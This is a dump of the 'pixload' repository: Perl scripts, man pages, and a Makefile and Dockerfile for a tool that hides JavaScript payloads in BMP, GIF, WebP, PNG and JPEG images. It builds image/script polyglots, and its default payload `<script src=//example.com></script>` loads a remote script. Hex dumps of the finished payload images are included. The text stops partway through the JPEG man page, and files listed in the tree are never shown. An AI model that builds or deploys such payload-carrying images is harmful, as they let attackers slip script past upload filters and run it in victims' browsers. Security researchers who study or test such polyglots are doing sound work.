├── config.mk
├── LICENSE
├── Dockerfile
├── Makefile
├── pixload-bmp.1.pod
├── pixload-webp.1.pod
├── pixload-gif.1.pod
├── pixload-png.1.pod
├── pixload-bmp.in
├── pixload-webp.in
├── pixload-gif.in
├── pixload-jpg.1.pod
├── pixload-jpg.in
├── pixload-png.in
└── README.md


/config.mk:
--------------------------------------------------------------------------------
1 | # pixload version
2 | VERSION = 1.1.1
3 | 
4 | # Customize below to fit your system
5 | 
6 | # paths
7 | PREFIX = /usr/local
8 | MANPREFIX = $(PREFIX)/share/man
9 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
 1 |           DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 
 2 |                     Version 2, December 2004 
 3 | 
 4 |  Copyright (C) 2019-2023 sighook <alexandr.savca89@gmail.com>
 5 | 
 6 |  Everyone is permitted to copy and distribute verbatim or modified 
 7 |  copies of this license document, and changing it is allowed as long 
 8 |  as the name is changed. 
 9 | 
10 |             DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 
11 |    TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 
12 | 
13 |   0. You just DO WHAT THE FUCK YOU WANT TO.
14 | 


--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM alpine:edge
 2 | 
 3 | RUN apk add --update --no-cache \
 4 | 	--repository http://dl-cdn.alpinelinux.org/alpine/edge/main \
 5 | 	--repository http://dl-cdn.alpinelinux.org/alpine/edge/community \
 6 | 	--repository http://dl-cdn.alpinelinux.org/alpine/edge/testing \
 7 | 	make file perl perl-gd perl-image-exiftool perl-string-crc32
 8 | 
 9 | COPY . /pixload
10 | RUN sed -i '/install .* $(DESTDIR)$(MANPREFIX)/d' /pixload/Makefile && \
11 | 	make -C /pixload PREFIX=/usr install && rm -rf /pixload
12 | 
13 | WORKDIR /pixload
14 | ENTRYPOINT ["/bin/sh"]
15 | 


--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
 1 | include config.mk
 2 | 
 3 | MAN = $(subst .1.pod,.1,$(wildcard *.pod))
 4 | SRC = $(MAN:.1=)
 5 | 
 6 | all: $(SRC) $(MAN)
 7 | 
 8 | %: %.in
 9 | 	sed "s/@VERSION@/$(VERSION)/" $< > $@
10 | 
11 | %: %.pod
12 | 	pod2man --nourls -r $(VERSION) -c ' ' -n $(basename $@) \
13 | 		-s $(subst .,,$(suffix $@)) $< > $@
14 | 
15 | install: all
16 | 	install -m 755 -D -t $(DESTDIR)$(PREFIX)/bin/     $(SRC)
17 | 	install -m 644 -D -t $(DESTDIR)$(MANPREFIX)/man1/ $(MAN)
18 | 
19 | uninstall:
20 | 	cd $(DESTDIR)$(PREFIX)/bin/     && rm $(SRC)
21 | 	cd $(DESTDIR)$(MANPREFIX)/man1/ && rm $(MAN)
22 | 
23 | clean:
24 | 	rm -f $(SRC) $(MAN)
25 | 
26 | .PHONY: all install uninstall clean
27 | 


--------------------------------------------------------------------------------
/pixload-bmp.1.pod:
--------------------------------------------------------------------------------
 1 | =pod
 2 | 
 3 | =encoding UTF-8
 4 | 
 5 | =head1 NAME
 6 | 
 7 | pixload-bmp - hide payload/malicious code in BMP images
 8 | 
 9 | =head1 SYNOPSIS
10 | 
11 | B<pixload-bmp> [I<OPTION>]... I<FILE>
12 | 
13 | =head1 DESCRIPTION
14 | 
15 | B<pixload-bmp> creates a BMP Image with payload, or injects payload
16 | into existing image.
17 | 
18 | =head1 OPTIONS
19 | 
20 | Mandatory arguments to long options are mandatory for short options too.
21 | 
22 | =over 8
23 | 
24 | =item B<-P>, B<--payload> I<STRING>
25 | 
26 | Set payload for injection.
27 | Default is C<< <script src=//example.com></script> >>.
28 | 
29 | =item B<-v>, B<--version>
30 | 
31 | Print version and exit.
32 | 
33 | =item B<-h>, B<--help>
34 | 
35 | Print help and exit.
36 | 
37 | =back
38 | 
39 | If the output I<FILE> already exists, then B<payload> will be injected into
40 | this existing file. Otherwise, the new one will be created.
41 | 
42 | =head1 EXAMPLE
43 | 
44 |   $ pixload-bmp payload.bmp
45 |   ...... BMP Payload Creator/Injector ......
46 |   ..........................................
47 |   ... https://github.com/sighook/pixload ...
48 |   ..........................................
49 | 
50 |   [>] Generating output file
51 |   [✔] File saved to: payload.bmp
52 | 
53 |   [>] Injecting payload into payload.bmp
54 |   [✔] Payload was injected successfully
55 | 
56 |   payload.bmp: PC bitmap, OS/2 1.x format, 1 x 1 x 24, cbSize 10799, bits offset 26
57 | 
58 |   00000000  42 4d 2f 2a 00 00 00 00  00 00 1a 00 00 00 0c 00  |BM/*............|
59 |   00000010  00 00 01 00 01 00 01 00  18 00 00 00 ff 00 2a 2f  |..............*/|
60 |   00000020  3d 31 3b 3c 73 63 72 69  70 74 20 73 72 63 3d 2f  |=1;<script src=/|
61 |   00000030  2f 65 78 61 6d 70 6c 65  2e 63 6f 6d 3e 3c 2f 73  |/example.com></s|
62 |   00000040  63 72 69 70 74 3e 3b                              |cript>;|
63 |   00000047
64 | 
65 | =head1 SEE ALSO
66 | 
67 | L<pixload-gif(1)|https://github.com/sighook/pixload/blob/master/pixload-gif.1.pod>,
68 | L<pixload-jpg(1)|https://github.com/sighook/pixload/blob/master/pixload-jpg.1.pod>,
69 | L<pixload-png(1)|https://github.com/sighook/pixload/blob/master/pixload-png.1.pod>,
70 | L<pixload-webp(1)|https://github.com/sighook/pixload/blob/master/pixload-webp.1.pod>
71 | 
72 | =cut
73 | 


--------------------------------------------------------------------------------
/pixload-webp.1.pod:
--------------------------------------------------------------------------------
 1 | =pod
 2 | 
 3 | =encoding UTF-8
 4 | 
 5 | =head1 NAME
 6 | 
 7 | pixload-webp - hide payload/malicious code in WebP images
 8 | 
 9 | =head1 SYNOPSIS
10 | 
11 | B<pixload-webp> [I<OPTION>]... I<FILE>
12 | 
13 | =head1 DESCRIPTION
14 | 
15 | B<pixload-webp> creates a WebP Image with payload, or injects payload
16 | into existing image.
17 | 
18 | Currently, there is no possibility to inject the payload into an existing
19 | WebP image. Only the new (minimal) WebP image will be created and your
20 | payload will be injected into.
21 | 
22 | =head1 OPTIONS
23 | 
24 | Mandatory arguments to long options are mandatory for short options too.
25 | 
26 | =over 8
27 | 
28 | =item B<-P>, B<--payload> I<STRING>
29 | 
30 | Set payload for injection.
31 | Default is C<< <script src=//example.com></script> >>.
32 | 
33 | =item B<-v>, B<--version>
34 | 
35 | Print version and exit.
36 | 
37 | =item B<-h>, B<--help>
38 | 
39 | Print help and exit.
40 | 
41 | =back
42 | 
43 | If the output FILE already exists, the payload will be injected into existing
44 | image, but this image will be corrupted. Otherwise, the new one will be
45 | created.
46 | 
47 | =head1 EXAMPLE
48 | 
49 |   $ pixload-webp payload.webp
50 |   ..... WebP Payload Creator/Injector ......
51 |   ..........................................
52 |   ... https://github.com/sighook/pixload ...
53 |   ..........................................
54 | 
55 |   [>] Generating output file
56 |   [✔] File saved to: payload.webp
57 | 
58 |   [>] Injecting payload into payload.webp
59 |   [✔] Payload was injected successfully
60 | 
61 |   payload.webp: RIFF (little-endian) data, Web/P image
62 | 
63 |   00000000  52 49 46 46 2f 2a 00 00  57 45 42 50 56 50 38 4c  |RIFF/*..WEBPVP8L|
64 |   00000010  ff ff ff 00 2f 00 00 00  10 07 10 11 11 88 88 fe  |..../...........|
65 |   00000020  07 00 2a 2f 3d 31 3b 3c  73 63 72 69 70 74 20 73  |..*/=1;<script s|
66 |   00000030  72 63 3d 2f 2f 65 78 61  6d 70 6c 65 2e 63 6f 6d  |rc=//example.com|
67 |   00000040  3e 3c 2f 73 63 72 69 70  74 3e 3b                 |></script>;|
68 |   0000004b
69 | 
70 | =head1 SEE ALSO
71 | 
72 | L<pixload-bmp(1)|https://github.com/sighook/pixload/blob/master/pixload-bmp.1.pod>,
73 | L<pixload-gif(1)|https://github.com/sighook/pixload/blob/master/pixload-gif.1.pod>,
74 | L<pixload-jpg(1)|https://github.com/sighook/pixload/blob/master/pixload-jpg.1.pod>,
75 | L<pixload-png(1)|https://github.com/sighook/pixload/blob/master/pixload-png.1.pod>
76 | 
77 | =cut
78 | 


--------------------------------------------------------------------------------
/pixload-gif.1.pod:
--------------------------------------------------------------------------------
 1 | =pod
 2 | 
 3 | =encoding UTF-8
 4 | 
 5 | =head1 NAME
 6 | 
 7 | pixload-gif - hide payload/malicious code in GIF images
 8 | 
 9 | =head1 SYNOPSIS
10 | 
11 | B<pixload-gif> [I<OPTION>]... I<FILE>
12 | 
13 | =head1 DESCRIPTION
14 | 
15 | B<pixload-gif> creates a GIF Image with payload, or injects payload into
16 | existing image.
17 | 
18 | =head1 OPTIONS
19 | 
20 | Mandatory arguments to long options are mandatory for short options too.
21 | 
22 | =over 8
23 | 
24 | =item B<-W>, B<--pixelwidth> I<INTEGER>
25 | 
26 | Set pixel width for the new image.
27 | Default is 10799.
28 | 
29 | The option has no effect since B<pixload-gif> rewrites pixel width bytes
30 | with C</*> characters, to prepare the polyglot image.
31 | 
32 | =item B<-H>, B<--pixelheight> I<INTEGER>
33 | 
34 | Set pixel height for the new image.
35 | Default is 32.
36 | 
37 | =item B<-P>, B<--payload> I<STRING>
38 | 
39 | Set payload for injection.
40 | Default is C<< <script src=//example.com></script> >>.
41 | 
42 | =item B<-v>, B<--version>
43 | 
44 | Print version and exit.
45 | 
46 | =item B<-h>, B<--help>
47 | 
48 | Print help and exit.
49 | 
50 | =back
51 | 
52 | =head1 EXAMPLE
53 | 
54 |   $ pixload-gif payload.gif
55 |   ...... GIF Payload Creator/Injector ......
56 |   ..........................................
57 |   ... https://github.com/sighook/pixload ...
58 |   ..........................................
59 | 
60 |   [>] Generating output file
61 |   [✔] File saved to: payload.gif
62 | 
63 |   [>] Injecting payload into payload.gif
64 |   [✔] Payload was injected successfully
65 | 
66 |   payload.gif: GIF image data, version 87a, 10799 x 32
67 | 
68 |   00000000  47 49 46 38 37 61 2f 2a  20 00 80 00 00 04 02 04  |GIF87a/* .......|
69 |   00000010  00 00 00 2c 00 00 00 00  20 00 20 00 00 02 1e 84  |...,.... . .....|
70 |   00000020  8f a9 cb ed 0f a3 9c b4  da 8b b3 de bc fb 0f 86  |................|
71 |   00000030  e2 48 96 e6 89 a6 ea ca  b6 ee 0b 9b 05 00 3b 2a  |.H............;*|
72 |   00000040  2f 3d 31 3b 3c 73 63 72  69 70 74 20 73 72 63 3d  |/=1;<script src=|
73 |   00000050  2f 2f 65 78 61 6d 70 6c  65 2e 63 6f 6d 3e 3c 2f  |//example.com></|
74 |   00000060  73 63 72 69 70 74 3e 3b                           |script>;|
75 |   00000068
76 | 
77 | =head1 SEE ALSO
78 | 
79 | L<pixload-bmp(1)|https://github.com/sighook/pixload/blob/master/pixload-bmp.1.pod>,
80 | L<pixload-jpg(1)|https://github.com/sighook/pixload/blob/master/pixload-jpg.1.pod>,
81 | L<pixload-png(1)|https://github.com/sighook/pixload/blob/master/pixload-png.1.pod>,
82 | L<pixload-webp(1)|https://github.com/sighook/pixload/blob/master/pixload-webp.1.pod>
83 | 
84 | =cut
85 | 


--------------------------------------------------------------------------------
/pixload-png.1.pod:
--------------------------------------------------------------------------------
  1 | =pod
  2 | 
  3 | =encoding UTF-8
  4 | 
  5 | =head1 NAME
  6 | 
  7 | pixload-png - hide payload/malicious code in PNG images
  8 | 
  9 | =head1 SYNOPSIS
 10 | 
 11 | B<pixload-png> [I<OPTION>]... I<FILE>
 12 | 
 13 | =head1 DESCRIPTION
 14 | 
 15 | B<pixload-png> creates a PNG Image with payload, or injects payload into existing image.
 16 | 
 17 | The payload is injecting into B<IDAT> data chunks.
 18 | 
 19 | =head1 OPTIONS
 20 | 
 21 | Mandatory arguments to long options are mandatory for short options too.
 22 | 
 23 | =over 8
 24 | 
 25 | =item B<-W>, B<--pixelwidth> I<INTEGER>
 26 | 
 27 | Set pixel width for the new image. Default is 32.
 28 | 
 29 | =item B<-H>, B<--pixelheight> I<INTEGER>
 30 | 
 31 | Set pixel height for the new image. Default is 32.
 32 | 
 33 | =item B<-P>, B<--payload> I<STRING>
 34 | 
 35 | Set payload for injection. Default is C<< <script src=//example.com></script> >>.
 36 | 
 37 | =item B<-v>, B<--version>
 38 | 
 39 | Print version and exit.
 40 | 
 41 | =item B<-h>, B<--help>
 42 | 
 43 | Print help and exit.
 44 | 
 45 | =back
 46 | 
 47 | If the output I<FILE> already exists, then B<payload> will be injected into
 48 | this existing file. Otherwise, the new one will be created with specified
 49 | pixels wide.
 50 | 
 51 | =head1 EXAMPLE
 52 | 
 53 |   $ pixload-png payload.png
 54 |   ..... PNG Payload Creator/Injector .....
 55 |   ........................................
 56 |   .. https://github.com/sighook/pixload ..
 57 |   ........................................
 58 | 
 59 |   [>] Injecting payload into payload.png
 60 | 
 61 |   [+] Chunk size: 13
 62 |   [+] Chunk type: IHDR
 63 |   [+] CRC: fc18eda3
 64 |   [+] Chunk size: 9
 65 |   [+] Chunk type: pHYs
 66 |   [+] CRC: 952b0e1b
 67 |   [+] Chunk size: 25
 68 |   [+] Chunk type: IDAT
 69 |   [+] CRC: c8a288fe
 70 |   [+] Chunk size: 0
 71 |   [+] Chunk type: IEND
 72 | 
 73 |   [>] Inject payload to the new chunk: 'pUnk'
 74 |   [✔] Payload was injected successfully
 75 | 
 76 |   payload.png: PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
 77 | 
 78 |   00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
 79 |   00000010  00 00 00 20 00 00 00 20  08 02 00 00 00 fc 18 ed  |... ... ........|
 80 |   00000020  a3 00 00 00 09 70 48 59  73 00 00 0e c4 00 00 0e  |.....pHYs.......|
 81 |   00000030  c4 01 95 2b 0e 1b 00 00  00 19 49 44 41 54 48 89  |...+......IDATH.|
 82 |   00000040  ed c1 31 01 00 00 00 c2  a0 f5 4f ed 61 0d a0 00  |..1.......O.a...|
 83 |   00000050  00 00 6e 0c 20 00 01 c8  a2 88 fe 00 00 00 00 49  |..n. ..........I|
 84 |   00000060  45 4e 44 ae 42 60 82 00  00 00 00 00 00 00 00 00  |END.B`..........|
 85 |   00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
 86 |   *
 87 |   000000c0  00 23 50 55 6e 4b 3c 73  63 72 69 70 74 20 73 72  |.#PUnK<script sr|
 88 |   000000d0  63 3d 2f 2f 65 78 61 6d  70 6c 65 2e 63 6f 6d 3e  |c=//example.com>|
 89 |   000000e0  3c 2f 73 63 72 69 70 74  3e eb fd 2e 9f 00 49 45  |</script>.....IE|
 90 |   000000f0  4e 44                                             |ND|
 91 |   000000f2
 92 | 
 93 | =head1 SEE ALSO
 94 | 
 95 | L<pixload-bmp(1)|https://github.com/sighook/pixload/blob/master/pixload-bmp.1.pod>,
 96 | L<pixload-gif(1)|https://github.com/sighook/pixload/blob/master/pixload-gif.1.pod>,
 97 | L<pixload-jpg(1)|https://github.com/sighook/pixload/blob/master/pixload-jpg.1.pod>,
 98 | L<pixload-webp(1)|https://github.com/sighook/pixload/blob/master/pixload-webp.1.pod>
 99 | 
100 | =cut
101 | 


--------------------------------------------------------------------------------
/pixload-bmp.in:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env perl
  2 | #
  3 | # BMP Payload Creator/Injector
  4 | #
  5 | # coded by sighook <alexandr.savca89@gmail.com>
  6 | # credits to Osanda Malith Jayathissa <https://osandamalith.com/>
  7 | #
  8 | # See LICENSE file for copyright and license details.
  9 | #
 10 | 
 11 | use strict;
 12 | use warnings;
 13 | 
 14 | use feature 'say';
 15 | 
 16 | use POSIX;
 17 | use Getopt::Long qw(:config no_ignore_case);
 18 | use File::Basename;
 19 | 
 20 | use constant PROGRAM => basename $0;
 21 | use constant VERSION => '@VERSION@';
 22 | 
 23 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 24 | #                              Default Options                                #
 25 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 26 | 
 27 | my %opts = (
 28 |     payload => '<script src=//example.com></script>',
 29 | );
 30 | 
 31 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 32 | #                                Subroutines                                  #
 33 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 34 | 
 35 | sub create_bmp {
 36 |     say "[>] Generating output file";
 37 | 
 38 |     my $bmp_minimal =
 39 |           "\x42\x4d\x1e\x00\x00\x00\x00\x00\x00\x00\x1a\x00"
 40 |         . "\x00\x00\x0c\x00\x00\x00\x01\x00\x01\x00\x01\x00"
 41 |         . "\x18\x00\x00\x00\xff\x00";
 42 | 
 43 |     sysopen my $fh, $opts{FILE}, O_CREAT|O_WRONLY;
 44 |     syswrite   $fh, $bmp_minimal;
 45 |     close      $fh;
 46 | 
 47 |     say "[✔] File saved to: $opts{FILE}\n";
 48 | }
 49 | 
 50 | sub inject_payload {
 51 |     say "[>] Injecting payload into $opts{FILE}";
 52 | 
 53 |     sysopen my $fh, $opts{FILE}, O_RDWR;
 54 |     sysseek    $fh, 2, SEEK_SET;
 55 | 
 56 |     syswrite   $fh, "\x2f\x2a";
 57 |     sysseek    $fh, 0, SEEK_END;
 58 | 
 59 |     syswrite   $fh, "\x2a\x2f\x3d\x31\x3b";
 60 |     syswrite   $fh, $opts{payload};
 61 |     syswrite   $fh, "\x3b";
 62 | 
 63 |     close      $fh;
 64 | 
 65 |     say "[✔] Payload was injected successfully\n";
 66 | }
 67 | 
 68 | sub banner {
 69 |     <<EOF;
 70 | ...... BMP Payload Creator/Injector ......
 71 | ..........................................
 72 | ... https://github.com/sighook/pixload ...
 73 | ..........................................
 74 | EOF
 75 | }
 76 | 
 77 | sub usage {
 78 |     <<"EOF";
 79 | Usage: @{[ PROGRAM ]} [OPTION]... FILE
 80 | Hide Payload/Malicious Code in BMP Images.
 81 | 
 82 | Mandatory arguments to long options are mandatory for short options too.
 83 |   -P, --payload STRING   set payload for injection
 84 |   -v, --version          print version and exit
 85 |   -h, --help             print help and exit
 86 | 
 87 | If the output FILE already exists, then payload will be injected into this
 88 | existing file. Otherwise, the new one will be created.
 89 | EOF
 90 | }
 91 | 
 92 | sub version {
 93 |     PROGRAM . " " . VERSION;
 94 | }
 95 | 
 96 | sub main {
 97 |     # command-line options
 98 |     GetOptions(
 99 |         'h|help!'       =>  \$opts{help},
100 |         'v|version!'    =>  \$opts{version},
101 |         'P|payload=s'   =>  \$opts{payload},
102 |     ) or die "$!\n";
103 | 
104 |     $opts{FILE} = shift @ARGV;
105 | 
106 |     say &usage    and  exit(0)  if   $opts{help};
107 |     say &version  and  exit(0)  if   $opts{version};
108 |     say &usage    and  exit(1)  if ! $opts{FILE};
109 | 
110 |     say &banner;
111 | 
112 |     &create_bmp if ! -f $opts{FILE};
113 |     &inject_payload;
114 | 
115 |     if    (-f '/usr/bin/file'   ) { say `file       $opts{FILE}` }
116 | 
117 |     if    (-f '/usr/bin/hexdump') { say `hexdump -C $opts{FILE}` }
118 |     elsif (-f '/usr/bin/xxd'    ) { say `xxd        $opts{FILE}` }
119 | }
120 | 
121 | &main;
122 | 
123 | # vim:sw=4:ts=4:sts=4:et:cc=80
124 | # End of file.
125 | 


--------------------------------------------------------------------------------
/pixload-webp.in:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env perl
  2 | #
  3 | # WebP Payload Creator/Injector
  4 | #
  5 | # coded by sighook <alexandr.savca89@gmail.com>
  6 | # credits to Johannes Kliemann <https://jkliemann.de/>
  7 | #            Jon Sneyers <https://sneyers.info/>
  8 | #
  9 | # See LICENSE file for copyright and license details.
 10 | #
 11 | 
 12 | use strict;
 13 | use warnings;
 14 | 
 15 | use feature 'say';
 16 | 
 17 | use POSIX;
 18 | use Getopt::Long qw(:config no_ignore_case);
 19 | use File::Basename;
 20 | 
 21 | use constant PROGRAM => basename $0;
 22 | use constant VERSION => '@VERSION@';
 23 | 
 24 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 25 | #                              Default Options                                #
 26 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 27 | 
 28 | my %opts = (
 29 |     payload     => '<script src=//example.com></script>',
 30 | );
 31 | 
 32 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 33 | #                                Subroutines                                  #
 34 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 35 | 
 36 | sub create_webp {
 37 |     say "[>] Generating output file";
 38 | 
 39 |     # single pixel lossy webp image
 40 |     my $minimal_webp = "\x52\x49\x46\x46\x1a\x00\x00\x00"
 41 |                      . "\x57\x45\x42\x50\x56\x50\x38\x4c"
 42 |                      . "\x0d\x00\x00\x00\x2f\x00\x00\x00"
 43 |                      . "\x10\x07\x10\x11\x11\x88\x88\xfe"
 44 |                      . "\x07\x00";
 45 | 
 46 |     sysopen my $fh, $opts{FILE}, O_CREAT|O_WRONLY;
 47 |     syswrite   $fh, $minimal_webp;
 48 |     close      $fh;
 49 | 
 50 |     say "[✔] File saved to: $opts{FILE}\n";
 51 | }
 52 | 
 53 | sub inject_payload {
 54 |     say "[>] Injecting payload into $opts{FILE}";
 55 | 
 56 |     sysopen my $fh, $opts{FILE}, O_WRONLY;
 57 |     sysseek    $fh, 4, SEEK_SET;
 58 |     syswrite   $fh, "\x2f\x2a";
 59 | 
 60 |     sysseek    $fh, 15, SEEK_SET;
 61 |     syswrite   $fh, "\x4c\xff\xff\xff";
 62 | 
 63 |     sysseek    $fh, 0, SEEK_END;
 64 | 
 65 |     syswrite   $fh, "\x2a\x2f\x3d\x31\x3b";
 66 |     syswrite   $fh, $opts{payload};
 67 |     syswrite   $fh, "\x3b";
 68 |     close      $fh;
 69 | 
 70 |     say "[✔] Payload was injected successfully\n";
 71 | }
 72 | 
 73 | sub banner {
 74 |     <<EOF;
 75 | ..... WebP Payload Creator/Injector ......
 76 | ..........................................
 77 | ... https://github.com/sighook/pixload ...
 78 | ..........................................
 79 | EOF
 80 | }
 81 | 
 82 | sub usage {
 83 |     <<EOF;
 84 | Usage: @{[ PROGRAM ]} [OPTION]... FILE
 85 | Hide payloads/malicious code in WebP images.
 86 | 
 87 | Mandatory arguments to long options are mandatory for short options too.
 88 |   -P, --payload STRING   set payload for injection
 89 |   -v, --version          print version and exit
 90 |   -h, --help             print help and exit
 91 | 
 92 | Currently, there is no possibility to inject the payload into an existing WebP
 93 | image. Only the new (minimal) WebP image will be created and your payload will
 94 | be injected into. If the output FILE already exists, the payload will be
 95 | injected into the existing image, but this image will be corrupted.
 96 | EOF
 97 | }
 98 | 
 99 | sub version {
100 |     PROGRAM . " " . VERSION;
101 | }
102 | 
103 | sub main {
104 |     # command-line options
105 |     GetOptions(
106 |         'h|help!'       =>  \$opts{help},
107 |         'v|version!'    =>  \$opts{version},
108 |         'P|payload=s'   =>  \$opts{payload},
109 |     ) or die "$!\n";
110 | 
111 |     $opts{FILE} = shift @ARGV;
112 | 
113 |     say &usage    and  exit(0) if   $opts{help};
114 |     say &version  and  exit(0) if   $opts{version};
115 |     say &usage    and  exit(1) if ! $opts{FILE};
116 | 
117 |     say &banner;
118 | 
119 |     &create_webp if ! -f $opts{FILE};
120 |     &inject_payload;
121 | 
122 |     if    (-f '/usr/bin/file'   ) { say `file       $opts{FILE}` }
123 | 
124 |     if    (-f '/usr/bin/hexdump') { say `hexdump -C $opts{FILE}` }
125 |     elsif (-f '/usr/bin/xxd'    ) { say `xxd        $opts{FILE}` }
126 | }
127 | 
128 | &main;
129 | 
130 | # vim:sw=4:ts=4:sts=4:et:cc=80
131 | # End of file.
132 | 


--------------------------------------------------------------------------------
/pixload-gif.in:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env perl
  2 | #
  3 | # GIF Payload Creator/Injector
  4 | #
  5 | # coded by sighook <alexandr.savca89@gmail.com>
  6 | # credits to Marco Ramilli <https://marcoramilli.com>
  7 | #
  8 | # See LICENSE file for copyright and license details.
  9 | #
 10 | 
 11 | use strict;
 12 | use warnings;
 13 | 
 14 | use feature 'say';
 15 | 
 16 | use POSIX;
 17 | use Getopt::Long qw(:config no_ignore_case);
 18 | use File::Basename;
 19 | 
 20 | use constant PROGRAM => basename $0;
 21 | use constant VERSION => '@VERSION@';
 22 | 
 23 | use GD;
 24 | 
 25 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 26 | #                              Default Options                                #
 27 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 28 | 
 29 | my %opts = (
 30 |     pixelwidth      => 32,
 31 |     pixelheight     => 32,
 32 |     payload         => '<script src=//example.com></script>',
 33 | );
 34 | 
 35 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 36 | #                                Subroutines                                  #
 37 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 38 | 
 39 | sub create_gif {
 40 |     say "[>] Generating output file";
 41 | 
 42 |     my $img = GD::Image->new(
 43 |         $opts{pixelwidth},
 44 |         $opts{pixelheight},
 45 |         # set 1 to TrueColor (24 bits of color data), default is 8-bit palette
 46 |         1,
 47 |     );
 48 | 
 49 |     my $color = $img->colorAllocate(0, 0, 0);
 50 | 
 51 |     $img->setPixel(0, 0, $color);
 52 | 
 53 |     sysopen my $fh, $opts{FILE}, O_CREAT|O_WRONLY;
 54 |     syswrite   $fh, $img->gif;
 55 |     close      $fh;
 56 | 
 57 |     say "[✔] File saved to: $opts{FILE}\n";
 58 | }
 59 | 
 60 | sub inject_payload {
 61 |     say "[>] Injecting payload into $opts{FILE}";
 62 | 
 63 |     sysopen my $fh, $opts{FILE}, O_WRONLY;
 64 |     sysseek    $fh, 6, SEEK_SET;
 65 | 
 66 |     syswrite   $fh, "\x2f\x2a";
 67 |     sysseek    $fh, 0, SEEK_END;
 68 | 
 69 |     syswrite   $fh, "\x2a\x2f\x3d\x31\x3b";
 70 |     syswrite   $fh, $opts{payload};
 71 |     syswrite   $fh, "\x3b";
 72 | 
 73 |     close      $fh;
 74 | 
 75 |     say "[✔] Payload was injected successfully\n";
 76 | }
 77 | 
 78 | sub banner {
 79 |     <<EOF;
 80 | ...... GIF Payload Creator/Injector ......
 81 | ..........................................
 82 | ... https://github.com/sighook/pixload ...
 83 | ..........................................
 84 | EOF
 85 | }
 86 | 
 87 | sub usage {
 88 |     <<"EOF";
 89 | Usage: @{[ PROGRAM ]} [OPTION]... FILE
 90 | Hide payload/malicious code in GIF images.
 91 | 
 92 | Mandatory arguments to long options are mandatory for short options too.
 93 |   -W, --pixelwidth  INTEGER   (has no effect)
 94 |                               set pixel width for the new image (default: 10799)
 95 |   -H, --pixelheight INTEGER   set pixel height for the new image (default: 32)
 96 |   -P, --payload     STRING    set payload for injection
 97 |   -v, --version               print version and exit
 98 |   -h, --help                  print help and exit
 99 | 
100 | The option -W, --pixelwidth has no effect since @{[ PROGRAM ]} rewrites
101 | pixel width bytes with "/*" characters, to prepare the polyglot gif image.
102 | 
103 | If the output FILE already exists, then the payload will be injected into this
104 | existing file. Otherwise, the new one will be created with specified pixels
105 | wide.
106 | EOF
107 | }
108 | 
109 | sub version {
110 |     PROGRAM . " " . VERSION;
111 | }
112 | 
113 | sub main {
114 |     # command-line options
115 |     GetOptions(
116 |         'h|help!'           =>  \$opts{help},
117 |         'v|version!'        =>  \$opts{version},
118 |         'P|payload=s'       =>  \$opts{payload},
119 |         'W|pixelwidth=i'    =>  \$opts{pixelwidth},
120 |         'H|pixelheight=i'   =>  \$opts{pixelheight},
121 |     ) or die "$!\n";
122 | 
123 |     $opts{FILE} = shift @ARGV;
124 | 
125 |     say &usage    and  exit(0)  if   $opts{help};
126 |     say &version  and  exit(0)  if   $opts{version};
127 |     say &usage    and  exit(1)  if ! $opts{FILE};
128 | 
129 |     say &banner;
130 | 
131 |     &create_gif if ! -f $opts{FILE};
132 |     &inject_payload;
133 | 
134 |     if    (-f '/usr/bin/file'   ) { say `file       $opts{FILE}` }
135 | 
136 |     if    (-f '/usr/bin/hexdump') { say `hexdump -C $opts{FILE}` }
137 |     elsif (-f '/usr/bin/xxd'    ) { say `xxd        $opts{FILE}` }
138 | }
139 | 
140 | &main;
141 | 
142 | # vim:sw=4:ts=4:sts=4:et:cc=80
143 | # End of file.
144 | 


--------------------------------------------------------------------------------
/pixload-jpg.1.pod:
--------------------------------------------------------------------------------
  1 | =pod
  2 | 
  3 | =encoding UTF-8
  4 | 
  5 | =head1 NAME
  6 | 
  7 | pixload-jpg - hide payload/malicious code in JPEG images
  8 | 
  9 | =head1 SYNOPSIS
 10 | 
 11 | B<pixload-jpg> [I<OPTION>]... I<FILE>
 12 | 
 13 | =head1 DESCRIPTION
 14 | 
 15 | B<pixload-jpg> creates a JPEG Image with payload, or injects payload into
 16 | existing image.
 17 | 
 18 | The payload can be injected into I<COMMENT> section or I<DQT> table.
 19 | 
 20 | =head1 OPTIONS
 21 | 
 22 | Mandatory arguments to long options are mandatory for short options too.
 23 | 
 24 | =over 8
 25 | 
 26 | =item B<-S>, B<--section> I<COM>|I<DQT>
 27 | 
 28 | Inject payload into I<COM>MENT section or I<DQT> table.
 29 | 
 30 | In case if payload is injected into I<COM>MENT section, if the output I<FILE>
 31 | exists, then payload will be injected into the existing file. Otherwise, the
 32 | new one will be created.
 33 | 
 34 | In case if payload is injected into I<DQT> table, the output I<FILE> will be
 35 | overwritten. Also, note that I<DQT> injecting has a few limitations:
 36 | 
 37 | =over 8
 38 | 
 39 | =item 1
 40 | 
 41 | Payload size must not exceed 64 bytes.
 42 | 
 43 | =item 2
